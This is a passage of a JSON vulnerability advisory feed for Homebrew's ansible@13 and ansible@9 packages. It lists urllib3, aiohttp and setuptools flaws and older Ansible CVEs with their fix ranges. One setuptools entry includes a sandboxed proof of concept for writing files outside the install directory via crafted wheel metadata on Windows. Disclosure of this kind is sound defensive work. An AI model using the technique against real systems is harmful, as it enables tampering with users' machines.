with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-97688","published":"2026-09-30T21:01:57Z","modified":"2026-10-04T12:39:02Z","upstream":["GHSA-gh4c-6fx4-qh6g","CVE-2026-97688","PYSEC-2026-4176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","details":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97688"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-97689","published":"2026-09-30T21:01:57Z","modified":"2026-10-04T12:39:02Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-GHSA-2g87-pp6c-29x5","published":"2026-10-21T10:34:15Z","modified":"2026-11-10T10:25:54Z","upstream":["GHSA-2g87-pp6c-29x5","CVE-2026-123817"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: Multiple instances of excessive or unbounded memory/CPU use","details":"### Summary\n\nWhile reassembling a WebSocket frame that arrived across many small transport reads, the reader kept one `bytes` object per read with no bound on the count. The per-object overhead is many times larger than the payload bytes, so a frame delivered a few bytes at a time could use far more memory than `max_msg_size` allows.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending a frame in a large number of tiny segments.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2g87-pp6c-29x5"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/09bcaa73ff084a0c539bbf16a0a78743acb7141f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a4f6682817839313b04b8e5cea2b39c1a88ab4f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-GHSA-xmj3-9gf7-h52w","published":"2026-10-26T10:21:44Z","modified":"2026-10-26T10:21:44Z","upstream":["GHSA-xmj3-9gf7-h52w"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"84.1.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.0.0","key":"pkg:pypi/setuptools@84.0.0","resource":"setuptools"}]},"summary":"setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description","details":"### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`<distribution>.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n    destination/\n    outside/\n    input/\n    canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n    sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w"},{"type":"WEB","url":"https://github.com/pypa/setuptools/pull/5329"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v84.1.0"}]}],"ansible@9":[{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2013-2233","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-9x6q-5423-w5v9","CVE-2013-2233","PYSEC-2018-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to cache SSH host keys","details":"Ansible before 1.2.1 makes it easier for remote attackers to conduct man-in-the-middle attacks by leveraging failure to cache SSH host keys.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2233"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/857"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=980821"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9x6q-5423-w5v9"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-36.yaml"},{"type":"WEB","url":"https://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/01/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/02/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2013-4259","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-fj24-ghp9-39v3","CVE-2013-4259","PYSEC-2013-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Ansible uses a socket with predictable filename in /tmp","details":"`runner/connection_plugins/ssh.py` in Ansible before 1.2.3, when using `ControlPersist`, allows local users to redirect a ssh session via a symlink attack on a socket file with a predictable name in `/tmp/`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4259"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=998223"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2013-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-project/UVDYW0HGcNg"},{"type":"WEB","url":"http://www.ansible.com/security"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-2686","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-49m5-2838-q2rv","CVE-2014-2686","PYSEC-2020-198"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Ansible unsafe evaluation of some strings","details":"Ansible prior to 1.5.4 mishandles the evaluation of some strings.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-2686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-198.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!searchin/ansible-project/1.5.4/ansible-project/MUQxiKwSQDc/id6aVaawVboJ"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-3498","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-4cvm-5776-jx9f","CVE-2014-3498","PYSEC-2017-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"User module in ansible before 1.6.6 is vulnerable to command execution. Ansible can get the result of remote command in variable, which may come from untrusted source of input. If the content of variable isn't properly filtered and when attempting to use the variable, it will trigger a function that passes it through jinja 2 template engine that can result into arbitrary command execution. Under certain circumstances, unprivileged user on system that is being managed via ansible can execute code on the managing host under UID of running ansible process.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-3498"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8ed6350e65c82292a631f08845dfaacffe7f07f5"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1335551"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-2.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-4657","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-qg47-5px9-32g7","CVE-2014-4657","PYSEC-2020-199"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Ansible Remote Code Execution","details":"The `safe_eval` function in Ansible before 1.5.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4657"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-199.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133852/https://www.securityfocus.com/bid/68232"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-4658","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-5g4v-2pc6-4hh4","CVE-2014-4658","PYSEC-2020-200"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sensitive Files Are Locally Readable","details":"The vault subsystem in Ansible before 1.5.5 does not set the umask before creation or modification of a vault file, which allows local users to obtain sensitive key information by reading a file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4658"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-200.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133853/https://www.securityfocus.com/bid/68233"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-4659","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-6667-f46p-pg88","CVE-2014-4659","PYSEC-2020-201"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Ansible sets unsafe permissions for sources.list","details":"Ansible before 1.5.5 sets 0644 permissions for `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by reading a file that uses the `&quot;deb http://user:pass@server:port/&quot;` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4659"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-201.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200229060001/https://www.securityfocus.com/bid/68234"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2014-4660","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-5xm4-jmpw-p6j3","CVE-2014-4660","PYSEC-2020-202"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible discloses credential information","details":"Ansible before 1.5.5 constructs filenames containing user and password fields on the basis of deb lines in `sources.list`, which might allow 